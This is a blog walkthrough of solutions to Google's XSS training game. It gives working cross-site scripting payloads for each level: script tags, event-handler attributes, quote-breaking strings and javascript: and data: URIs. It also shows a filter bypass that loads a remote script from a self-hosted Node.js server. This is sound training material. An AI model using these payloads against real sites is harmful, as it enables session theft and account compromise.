Hi there, this post deals with the game released by Google few days ago about XSS vulnerabilities that you can find here.
I’ll enumerate some of the solution I found on the Internet which were (in my opnion) interesting/fun. This post contains the solutions for all levels. Big spoil.
Level 1: Hello, world of XSS
Well, this one was obvious:
<script>alert(1);</script>
Level 2: Persistence is key
For this one, you had different options:
<a href="test" onclick="javascript:alert(1);">test</a>
Creating a link (will need an interaction with the user)
<img src="test.png" onerror="javascript:alert(1);" />
Loading an invalid image (using onerror) - no interaction
<img src="https://xss-game.appspot.com/static/level2_icon.png" onload="alert(1);" />
Loading a valid image (using onload) - no interaction
Level 3: That sinking feeling…
The image loaded on the page uses the window.location.hash
javascript property.
We can abuse it this way:
1.jpg' onload='javascript:alert(1);'
Loading a valid image (using onload) - no interaction
And also:
' onerror="alert(1)">
Loading an invalid image (using onerror) - no interaction
It was also possible to use the script
tag like this:
'><script>alert(1);</script>
Level 4: Context matters
To do this one there were different approaches:
1')%3Balert('1
The semicolon character had to be encoded because otherwise it was escaped.
It was possible to escape '
(single-quote character) too.
1%27)%3balert(%271
It was also possible to use ||
logical operator.
1') || alert('1
It was also possible to do it without any encoding/operator this way:
1');alert(1);//
Level 5: Breaking protocol
For this one, characters such as "
(double-quote) was escaped.
We could just use:
javascript:alert(1);
Then, after clicking on the link, we popped up the alert box.
Level 6: Follow the rabbit
For the last level, it was possible to use data:text/javascript
this way:
data:text/javascript,alert(1);
The regex was also case sensitive, so.. instead of “http”, we could write it “HTTP”. Then, we were able to load remote scripts this way:
HTTP://127.0.0.1:8000
or adding a whitespace at the beginning:
http://127.0.0.1:8000
the index page only had to contain some javascript like: alert(1);
.
I saw on the internet that some people didn’t manage to load some HTTP scripts because they were using the HTTPS version. In this case, you can create a simple HTTPS Server (using Node.js for example).
var https = require('https');
var fs = require('fs');
var hskey = fs.readFileSync('server.key');
var hscert = fs.readFileSync('server.crt')
var options = {
key: hskey,
cert: hscert
};
https.createServer(options, function (req, res) {
res.writeHead(200);
res.end("alert(1);");
}).listen(8000);
Simple HTTPS Server using Node.js
In both cases, you could bypass the filter using:
//website.com/evilscript.js
// is another way to say https
or http
depending on the protocol you were using.
For example, if we have our HTTPS Server running, we can inject this:
//127.0.0.1:8000
Done.
Hope you learnt at least one trick. This game was really fun. Waiting for the next one.